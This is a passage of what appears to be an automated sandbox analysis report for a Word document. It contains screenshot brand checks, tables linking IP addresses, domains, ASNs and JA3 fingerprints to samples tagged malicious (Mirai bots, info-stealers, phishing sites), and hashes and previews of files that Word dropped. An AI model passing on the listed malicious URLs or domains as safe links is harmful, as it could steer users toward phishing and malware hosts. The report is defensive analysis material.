URL: Screenshot id: 10 Model: Joe Sandbox AI	{ "brands": [] } The provided image does not contain any visible brand logos or brand names. The content of the page appears to be in Chinese and discusses some kind of announcement or announcement related to the year 2023. There are no obvious brand identities present on the page.

URL: Screenshot id: 7 Model: Joe Sandbox AI	{ "brands": [] } The provided image does not contain any visible brand logos or brand names. The content of the page appears to be in Chinese and discusses information related to the year 2023, but there are no identifiable brand names or logos present.

URL: Screenshot id: 6 Model: Joe Sandbox AI	{ "brands": [] } The provided image does not contain any visible brand logos or brand names. The image appears to be a screenshot of a Microsoft Word document, which does not display any external brand information. Therefore, there are no brands detected on this page.

URL: Screenshot id: 9 Model: Joe Sandbox AI	{ "brands": [] } The provided image does not contain any visible brand logos or brand names. The content of the page appears to be in Chinese and discusses some event or announcement, but there are no clear brand identities present.

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
111.45.11.83	https://okefeokok.live/	Get hash	malicious	Unknown	Browse
	https://ebaite.cn/	Get hash	malicious	Unknown	Browse
	http://hbyczyz.com/xrr	Get hash	malicious	Unknown	Browse
	http://www.imtonken.co/	Get hash	malicious	Unknown	Browse
	https://rtgrents.helplook.com/docs/RTGRENTS?preview=1	Get hash	malicious	HTMLPhisher	Browse
	S8faD2qee3.exe	Get hash	malicious	PureLog Stealer	Browse
	https://mytonwallte.io/	Get hash	malicious	Unknown	Browse
	LisectAVT_2403002A_360.exe	Get hash	malicious	Unknown	Browse
	LisectAVT_2403002B_463.exe	Get hash	malicious	Bdaejec	Browse
	LisectAVT_2403002B_463.exe	Get hash	malicious	Bdaejec	Browse
111.45.3.198	XiaobingOnekey.exe	Get hash	malicious	Unknown	Browse
	ivySCI-5.6.3.exe	Get hash	malicious	Unknown	Browse
	https://wchckwl.org/	Get hash	malicious	Unknown	Browse
	http://www.nesianlife.com/	Get hash	malicious	Unknown	Browse
	https://okefeokok.live/	Get hash	malicious	Unknown	Browse
	https://ebaite.cn/	Get hash	malicious	Unknown	Browse
	http://3300957365.com/	Get hash	malicious	Phisher	Browse
	http://dl.im-dl.shop/	Get hash	malicious	Unknown	Browse
	https://82713536365.com/	Get hash	malicious	Phisher	Browse
	a#U77e5.docx	Get hash	malicious	Unknown	Browse
112.34.113.148	http://guantongfan.com/	Get hash	malicious	Unknown	Browse	api.share.baidu.com/s.gif?l=http://guantongfan.com/jishuwenzhang/
	http://hbyczyz.com/xrr	Get hash	malicious	Unknown	Browse	push.zhanzhang.baidu.com/push.js
	http://timihref.com/	Get hash	malicious	Unknown	Browse	api.share.baidu.com/s.gif?l=http://www.timihref.com/
	SecuriteInfo.com.FileRepMalware.23962.26901.exe	Get hash	malicious	Unknown	Browse	api.share.baidu.com/s.gif?l=http://www.kongdaowg.com/
	SecuriteInfo.com.FileRepMalware.23962.26901.exe	Get hash	malicious	Unknown	Browse	api.share.baidu.com/s.gif?l=http://www.kongdaowg.com/
	https://www.meherald.com.au/index.html	Get hash	malicious	Unknown	Browse	api.share.baidu.com/s.gif?l=http://www.gadian.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
hm.e.shifen.com	XiaobingOnekey.exe	Get hash	malicious	Unknown	Browse	111.45.3.198
	https://wchckwl.org/	Get hash	malicious	Unknown	Browse	111.45.3.198
	http://www.nesianlife.com/	Get hash	malicious	Unknown	Browse	111.45.3.198
	https://ebaite.cn/	Get hash	malicious	Unknown	Browse	111.45.11.83
	http://3300957365.com/	Get hash	malicious	Phisher	Browse	14.215.182.140
	http://bao.usdt888.net/	Get hash	malicious	Unknown	Browse	183.240.98.228
	http://www.798487.com/	Get hash	malicious	Unknown	Browse	183.240.98.228
	http://hbyczyz.com/xrr	Get hash	malicious	Unknown	Browse	111.45.11.83
	http://www.tpckn.app/	Get hash	malicious	Unknown	Browse	183.240.98.228
	http://dl.im-dl.shop/	Get hash	malicious	Unknown	Browse	111.45.3.198
share.n.shifen.com	http://guantongfan.com/	Get hash	malicious	Unknown	Browse	182.61.201.93
	http://wap.smarthomehungary.com/	Get hash	malicious	Unknown	Browse	182.61.244.229
	http://www.allencai.net/	Get hash	malicious	Unknown	Browse	39.156.68.163
	http://hbyczyz.com/xrr	Get hash	malicious	Unknown	Browse	182.61.201.94
	http://timihref.com/	Get hash	malicious	Unknown	Browse	112.34.113.148
	http://www.audentifydigital.com/	Get hash	malicious	Unknown	Browse	180.101.212.103
	http://oveman-austral.com/	Get hash	malicious	Unknown	Browse	14.215.182.161
	http://dream-orbit.com/dreamorbit-selected-as-a-2012-red-herring-top-100-asia/%20dream-orbit.com	Get hash	malicious	Unknown	Browse	14.215.182.161
	SecuriteInfo.com.FileRepMalware.23962.26901.exe	Get hash	malicious	Unknown	Browse	182.61.201.93
	SecuriteInfo.com.FileRepMalware.23962.26901.exe	Get hash	malicious	Unknown	Browse	112.34.113.148
api.share.n.shifen.com	http://guantongfan.com/	Get hash	malicious	Unknown	Browse	182.61.201.93
	http://wap.smarthomehungary.com/	Get hash	malicious	Unknown	Browse	182.61.244.229
	http://www.allencai.net/	Get hash	malicious	Unknown	Browse	39.156.68.163
	http://hbyczyz.com/xrr	Get hash	malicious	Unknown	Browse	182.61.201.94
	http://timihref.com/	Get hash	malicious	Unknown	Browse	112.34.113.148
	http://www.audentifydigital.com/	Get hash	malicious	Unknown	Browse	180.101.212.103
	http://oveman-austral.com/	Get hash	malicious	Unknown	Browse	14.215.182.161
	http://dream-orbit.com/dreamorbit-selected-as-a-2012-red-herring-top-100-asia/%20dream-orbit.com	Get hash	malicious	Unknown	Browse	14.215.182.161
	SecuriteInfo.com.FileRepMalware.23962.26901.exe	Get hash	malicious	Unknown	Browse	182.61.201.93
	SecuriteInfo.com.FileRepMalware.23962.26901.exe	Get hash	malicious	Unknown	Browse	112.34.113.148

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
QUANTILNETWORKSUS	loligang.arm.elf	Get hash	malicious	Mirai	Browse	116.254.172.41
	https://www.cbirc.gov.cn/cn/view/pages/index/index.html	Get hash	malicious	Unknown	Browse	163.171.207.8
	https://www.cbirc.gov.cn	Get hash	malicious	Unknown	Browse	163.171.207.8
	9JvpARJbsQ.elf	Get hash	malicious	Mirai, Moobot	Browse	163.171.147.161
	arm4.elf	Get hash	malicious	Mirai	Browse	220.242.145.248
	ppc.elf	Get hash	malicious	Mirai	Browse	220.242.145.212
	SecuriteInfo.com.FileRepMalware.6479.21607.exe	Get hash	malicious	Unknown	Browse	163.171.133.72
	la.bot.mipsel.elf	Get hash	malicious	Unknown	Browse	116.254.151.158
	SecuriteInfo.com.Win32.DropperX-gen.11055.6641.exe	Get hash	malicious	BlackMoon	Browse	163.171.129.134
	botnet.mpsl.elf	Get hash	malicious	Mirai, Moobot	Browse	116.254.135.42
CMNET-GUANGDONG-APChinaMobilecommunicationscorporation	sora.m68k.elf	Get hash	malicious	Mirai	Browse	223.104.69.142
	powerpc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	120.249.69.126
	sh4.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	120.197.113.141
	mipsel.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	120.197.228.85
	arm7.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	120.231.225.12
	la.bot.powerpc.elf	Get hash	malicious	Mirai	Browse	112.61.27.64
	botnet.m68k.elf	Get hash	malicious	Mirai, Moobot	Browse	120.197.163.55
	la.bot.arm6.elf	Get hash	malicious	Unknown	Browse	120.235.200.18
	la.bot.arm7.elf	Get hash	malicious	Unknown	Browse	112.63.226.244
	sh4.elf	Get hash	malicious	Mirai	Browse	120.255.84.192
COGENT-174US	teste.arm7.elf	Get hash	malicious	Mirai, Moobot, Okiru	Browse	38.88.3.247
	sora.mips.elf	Get hash	malicious	Mirai	Browse	69.80.237.121
	sora.ppc.elf	Get hash	malicious	Mirai	Browse	38.142.176.83
	sora.mips.elf	Get hash	malicious	Mirai	Browse	154.50.188.225
	la.bot.arm5.elf	Get hash	malicious	Mirai	Browse	38.79.165.5
	la.bot.sparc.elf	Get hash	malicious	Mirai	Browse	38.183.120.26
	la.bot.m68k.elf	Get hash	malicious	Mirai	Browse	38.212.157.182
	la.bot.mipsel.elf	Get hash	malicious	Mirai	Browse	38.28.103.95
	la.bot.arm7.elf	Get hash	malicious	Mirai	Browse	154.7.137.94
	mips.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	38.91.186.85
CMNET-GUANGDONG-APChinaMobilecommunicationscorporation	sora.m68k.elf	Get hash	malicious	Mirai	Browse	223.104.69.142
	powerpc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	120.249.69.126
	sh4.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	120.197.113.141
	mipsel.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	120.197.228.85
	arm7.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	120.231.225.12
	la.bot.powerpc.elf	Get hash	malicious	Mirai	Browse	112.61.27.64
	botnet.m68k.elf	Get hash	malicious	Mirai, Moobot	Browse	120.197.163.55
	la.bot.arm6.elf	Get hash	malicious	Unknown	Browse	120.235.200.18
	la.bot.arm7.elf	Get hash	malicious	Unknown	Browse	112.63.226.244
	sh4.elf	Get hash	malicious	Mirai	Browse	120.255.84.192

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	https://url.uk.m.mimecastprotect.com/s/lJtaCvgKLI76mPoHQfgHQcCL-?domain=cognitoforms.com	Get hash	malicious	HTMLPhisher	Browse	20.190.181.3 52.149.20.212 13.107.246.63
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	20.190.181.3 52.149.20.212 13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	20.190.181.3 52.149.20.212 13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	20.190.181.3 52.149.20.212 13.107.246.63
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	20.190.181.3 52.149.20.212 13.107.246.63
	mtbkkesfthae.exe	Get hash	malicious	Vidar	Browse	20.190.181.3 52.149.20.212 13.107.246.63
	jdrgsotrti.exe	Get hash	malicious	Stealc, Vidar	Browse	20.190.181.3 52.149.20.212 13.107.246.63
	daytjhasdawd.exe	Get hash	malicious	Stealc, Vidar	Browse	20.190.181.3 52.149.20.212 13.107.246.63
	http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com	Get hash	malicious	Unknown	Browse	20.190.181.3 52.149.20.212 13.107.246.63
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	20.190.181.3 52.149.20.212 13.107.246.63

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	118
Entropy (8bit):	3.5700810731231707
Encrypted:	false
SSDEEP:	3:QaklTlAlXMLLmHlIlFLlmIK/5lTn84vlJlhlXlDHlA6l3l6Als:QFulcLk04/5p8GVz6QRq
MD5:	573220372DA4ED487441611079B623CD
SHA1:	8F9D967AC6EF34640F1F0845214FBC6994C0CB80
SHA-256:	BE84B842025E4241BFE0C9F7B8F86A322E4396D893EF87EA1E29C74F47B6A22D
SHA-512:	F19FA3583668C3AF92A9CEF7010BD6ECEC7285F9C8665F2E9528DBA606F105D9AF9B1DB0CF6E7F77EF2E395943DC0D5CB37149E773319078688979E4024F9DD7
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.H.e.a.r.t.b.e.a.t.C.a.c.h.e./.>.

C:\Users\user\AppData\Local\Microsoft\FontCache\4\Catalog\ListAll.Json

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	JSON data
Category:	dropped
Size (bytes):	521377
Entropy (8bit):	4.9084889265453135
Encrypted:	false
SSDEEP:	3072:gdTb5Sb3F2FqSrfZm+CnQsbzxZO7aYb6f5780K2:wb5q3umBnzT
MD5:	C37972CBD8748E2CA6DA205839B16444
SHA1:	9834B46ACF560146DD7EE9086DB6019FBAC13B4E
SHA-256:	D4CFBB0E8B9D3E36ECE921B9B51BD37EF1D3195A9CFA1C4586AEA200EB3434A7
SHA-512:	02B4D134F84122B6EE9A304D79745A003E71803C354FB01BAF986BD15E3BA57BA5EF167CC444ED67B9BA5964FF5922C50E2E92A8A09862059852ECD9CEF1A900
Malicious:	false
Reputation:	high, very likely benign file
Preview:	{"MajorVersion":4,"MinorVersion":40,"Expiration":14,"Fonts":[{"a":[4294966911],"f":"Abadi","fam":[],"sf":[{"c":[1,0],"dn":"Abadi","fs":32696,"ful":[{"lcp":983041,"lsc":"Latn","ltx":"Abadi"}],"gn":"Abadi","id":"23643452060","p":[2,11,6,4,2,1,4,2,2,4],"sub":[],"t":"ttf","u":[2147483651,0,0,0],"v":197263,"w":26215680},{"c":[1,0],"dn":"Abadi Extra Light","fs":22180,"ful":[{"lcp":983042,"lsc":"Latn","ltx":"Abadi Extra Light"}],"gn":"Abadi Extra Light","id":"17656736728","p":[2,11,2,4,2,1,4,2,2,4],"sub":[],"t":"ttf","u":[2147483651,0,0,0],"v":197263,"w":13108480}]},{"a":[4294966911],"f":"ADLaM Display","fam":[],"sf":[{"c":[536870913,0],"dn":"ADLaM Display Regular","fs":140072,"ful":[{"lcp":983040,"lsc":"Latn","ltx":"ADLaM Display"}],"gn":"ADLaM Display","id":"31965479471","p":[2,1,0,0,0,0,0,0,0,0],"sub":[],"t":"ttf","u":[2147491951,1107296330,0,0],"v":131072,"w":26215680}]},{"a":[4294966911],"f":"Agency FB","fam":[],"sf":[{"c":[536870913,0],"dn":"Agency FB Bold","fs":54372,"ful":[{"lcp":9830

C:\Users\user\AppData\Local\Microsoft\FontCache\4\PreviewFont\flat_officeFontsPreview_4_40.ttf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	TrueType Font data, 10 tables, 1st "OS/2", 7 names, Microsoft, language 0x409, \251 2018 Microsoft Corporation. All Rights Reserved.msofp_4_40RegularVersion 4.40;O365
Category:	dropped
Size (bytes):	773040
Entropy (8bit):	6.55939673749297
Encrypted:	false
SSDEEP:	12288:Zn84XULLDs51UJQSOf9VvLXHyheIQ47gEFGHtAgk3+/cLQ/zhm1kjFKy6Nyjbqq+:N8XPDs5+ivOXgo1kYvyz2
MD5:	4296A064B917926682E7EED650D4A745
SHA1:	3953A6AA9100F652A6CA533C2E05895E52343718
SHA-256:	E04E41C74D6C78213BA1588BACEE64B42C0EDECE85224C474A714F39960D8083
SHA-512:	A25388DDCE58D9F06716C0F0BDF2AEFA7F68EBCA7171077533AF4A9BE99A08E3DCD8DFE1A278B7AA5DE65DA9F32501B4B0B0ECAB51F9AF0F12A3A8A75363FF2C
Malicious:	false
Reputation:	high, very likely benign file
Preview:	........... OS/29....(...`cmap.s.,.......pglyf..&....\|....head2..........6hheaE.@v.......$hmtx...........@loca.U.....8...Dmaxp........... name.P+........post...<...... .........b~1_.<...........<......r......Aa...................Q....Aa....Aa.........................~...................................................3..............................MS .@.......(...Q................. ...........d...........0...J.......8.......>..........+a..#...,................................................/...K.......z...............N.........!...-...+........z.......h..%^..3...&j..+...+%..'R..+..."....................k......$A...,.......g...&...=.......X..&..............&....B..(B...............#.......j...............+...P...5...@...)..........#...)Q..................{.. ....?..'...#....N...7......<...;>.............. ]...........5......#....s.......$.......$.......^..................+...>....H.......%...7.......6.......O...V...........K......"........c...N......!...............$...&...p..

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\089d66ba04a8cec4bdc5267f42f39cf84278bb67.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.849000951652616
Encrypted:	false
SSDEEP:	48:uiTrlKxsxx5xl9Il8ugNhNLjSaWatlu2U+Gd1rc:vtYU3jZWat82U+9
MD5:	B576389E4B582A753E360F3B4E4787E2
SHA1:	3898F597B51FD95927CF4B21C756BEDD6375E569
SHA-256:	3A542CF7EBF154AC0F7EBFC2211D910A4DAC21DA9A673E0A5026DEDAB4C3B05D
SHA-512:	13743621B916BE79A16CDFC59116D4FEC91949C2E9FFAB541A13BE24A037FA60DDE6E716560A8343157534831A2EFC914CAABAD58F0A500C15CD3D15AB1DAC72
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".C.J.1.m.u.g.S.o.z.s.S.9.x.S.Z./.Q.v.O.c.+.E.J.4.u.2.c.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.F.u.v.v.H.Z.E.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.+.E.h.F.J.C.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5475cb191e478c39370a215b2da98a37e9dc813d.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.9178685525251944
Encrypted:	false
SSDEEP:	48:uiTrlKxJxwoxl9Il8ugNhKysq8atCBybWHikkrrsreW/u3COXd/vc:Z0YU/B8T0bWCVrr7Gu3li
MD5:	A6695E32FF5BF0179B604948E6D5FC1A
SHA1:	B24C90AA8DC6623A14B6B12952E00364C87E45B2
SHA-256:	6FA0F5995D9F36B02B2DD2DF1E83FA58DB8A5C118F9F7D95A60C4253F4B1828B
SHA-512:	BBC60A1318B514477B6B015A4457DC2E714D408B92264F61A2D24CDCC0B2B86C1EA60A9F7FF8BA62A09DF8AD74DE8DB5AB7F9E5EF1D044BF3AB6E73490383FB4
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".V.H.X.L.G.R.5.H.j.D.k.3.C.i.F.b.L.a.m.K.N.+.n.c.g.T.0.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".Z.g.U.z.1.D.9.j.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.+.E.h.F.J.C.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\56a61aeb75d8f5be186c26607f4bb213abe7c5ec.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	4542
Entropy (8bit):	4.00033792060269
Encrypted:	false
SSDEEP:	96:4YUaFTR8hNrD+XwdGffCwM58y96JDK3auJq2bE:4ha8hByHCJ5laDKj9bE
MD5:	A34688124BBE21458203F57E76EFCE08
SHA1:	19807B75E844AA40E6ABC431F95DCBBCC44191CE
SHA-256:	256DEE4AD9D731646B6947269059CBDF53C9E107650045A1639BB6CBCEF22C33
SHA-512:	EA737EE25BFE08177826CCE6F21672AB8F11E9825979064E1C5B129D084E432D3E5CDAC339C7C22A074C96596C80A71D6866A71AC3F747EF49A54DA1725A30DC
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".V.q.Y.a.6.3.X.Y.9.b.4.Y.b.C.Z.g.f.0.u.y.E.6.v.n.x.e.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".R.c.G.+.o.m.5.E.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.+.E.h.F.J.C.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\37B3C11D.png

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	PNG image data, 400 x 400, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	11514
Entropy (8bit):	7.887065164039442
Encrypted:	false
SSDEEP:	192:8vNEZCUwmIjMSXwZYm2N+A2fz+KrnU9qgBUdL4ZDGrt6aVRq:8v6ZwmIjnqYmhRfzfrU2NmqR6S4
MD5:	4587993857AE04865D494A75D5570977
SHA1:	4730114887E8AAB1023BF87E8EB5CFAB599840A9
SHA-256:	66E8D1D21B4FF3C855C54548940230B2BB36C05C3391B8AFCC8EC5A227D772D2
SHA-512:	C9C84044BBD57809C5C5B08E7CAD717D55CB88918A44C30A3231045BD51DA8D14B27B5FD34780A84321171E3E9D61AD437EEDF8B9789A0CB27220B5B8C108E27
Malicious:	false
Preview:	.PNG........IHDR....................gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....bKGD..............pHYs..........&.?..,^IDATx...y...'..^^uwU..j.n...`.!.....AX..a.........#."M`p -.5!m..`.........;..3F ..Y...V.j./uwu.....$j.BG.JU.......U...U_^....!....X....(.........i ..@..,...........i ..@..,...........i ..@..,...........i ..@..,...........i ..@...T...[.fM.....]..\..........9..u....'%P.'......i ..@..,...........i ..@..,...........i ..@..,...Z.}H:.j...7o....,XP.J...a.._.j....>).V.).e.;Zyw.yg)G../V...+....T...I).'.... ....H.....@`..4.X. ....H.....@`..4.X. ....H.....@.E+......&Zc.XR.....9n....gv.}R&P`............i ..@..,...........i ..@..,...........iTb!U ..2...S.JT..J..X.F..m.....H.....@`..4.X. ....H.....@`..4.X. ....H.....@`..40.P2/.......].%..SO..G.y..e.,.V..k.........URy.^..bG.f.r...U..$..i ..@..,...........i ..@..,...........i ..@..hj....+..y..U.p.>.Z..L..Z.jU.K.....h..R...>...~.,.+.1eT..\...4.X. ....H.....@`..4.X. ....H.....@`..4.X. .JL.Y.ti.....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\68353A8C.wmf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Windows metafile
Category:	dropped
Size (bytes):	1396
Entropy (8bit):	4.782340732771737
Encrypted:	false
SSDEEP:	24:q0AGlzaeC9VZrjESvtsJ1UXOZSHcQ/4EPiyxwTUyfKcLkr6ksV4l:iCafZsrUIk1/iyxenZo
MD5:	1624118168E2E0E4A58A0529E2D02D8D
SHA1:	72A253A35BE374D26402D836A1F5FB4A6B98F706
SHA-256:	17029881B83F695B921D1766CB6F829964973C6D13F78A2E6F30B76A21BE9808
SHA-512:	1743D5D35675AE35BF31C4E7EE1891AC7AB66A3AEF0DFAFD1E30ABBC3C55DF39198BAE115FE127EB558F84F606FE3BEC17B94A5D1A4A5B0F7179D5C95FB92EF1
Malicious:	false
Preview:	........................................................................A. ...................(...........................................................................=w...\..]...................j_q..].......M...P..V...}ov..........R`.Ks...K.......$.......M..z....fs..............1...p......................S...~5..........x....4,.>....!...7..<....l...'..T....9*.............F....(..Vq.. ....@..0u..0i..A...`x... ..Q...........:....f).R./..Q.. [..#Y..+n...H..O.:.._".?...........3.......x............$..%N......`.......F...........>...c.....q.j...e.".I3..Z./.y....cX.S...<...........u...7...H...g...e...H...^...y...K...2...o...............O...$~..N...J...E...Y...R...3...g...........Z...T...L...W...\...I...A...`...T...............L...F...B...F...<...?...N.................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRF{05742E06-EA01-43F0-B064-D4D0309AF063}.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	5632
Entropy (8bit):	2.6758426903914967
Encrypted:	false
SSDEEP:	24:rgAU78c4g/E0AGlzaeC9XOuZrjESvtsJ1UXOZSHcQ/4EPiyxwTUyfKcLkr6ksV4:rgAiYCafXOksrUIk1/iyxenZ
MD5:	ED7F8929758887E4325C761C97033F47
SHA1:	D3491DACEFF92968023D7B70B8EB23915DB35DE6
SHA-256:	D6B1E6AFCB0E741D725A72863C88134D29D85BB264C88B68032BAF1B0DC770B2
SHA-512:	5A138418C6DE69A8B0A03DC1EC568E921E558EBCC8F643FB9D19AC5087A4FE090078B6DDAFDC74318EA2B835D5EA38BCCD6ADA77BC63B54D3EECA74108E2D2DB
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{8DFAFD4A-64D9-4C78-B75C-0C50CA6E9114}.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	1536
Entropy (8bit):	1.4980649400640274
Encrypted:	false
SSDEEP:	6:mEMEEE3Dmlc9lCgKE4qeZ6ZycbY/Li/Z4:tDmGYPE4HAPbY/G4
MD5:	AF23D647432B41CA1D9576E4FC482F68
SHA1:	07BD19EFA584709ACC7559BB940C611B3DF23ACD
SHA-256:	3F04BC9265BC3279B4AC96A2D01FEDB4886EB7A22DCCD08EBF14CAD85A62C768
SHA-512:	FE1EDDFCD09FBF1B8947CCD1FF4133614D225ABEEED0B9562EC6F8CA5E25FB8A992D85CDFE98AFB807AD042E63A6839D783CE608DF49CCA6B09E8713BFBF92F4
Malicious:	false
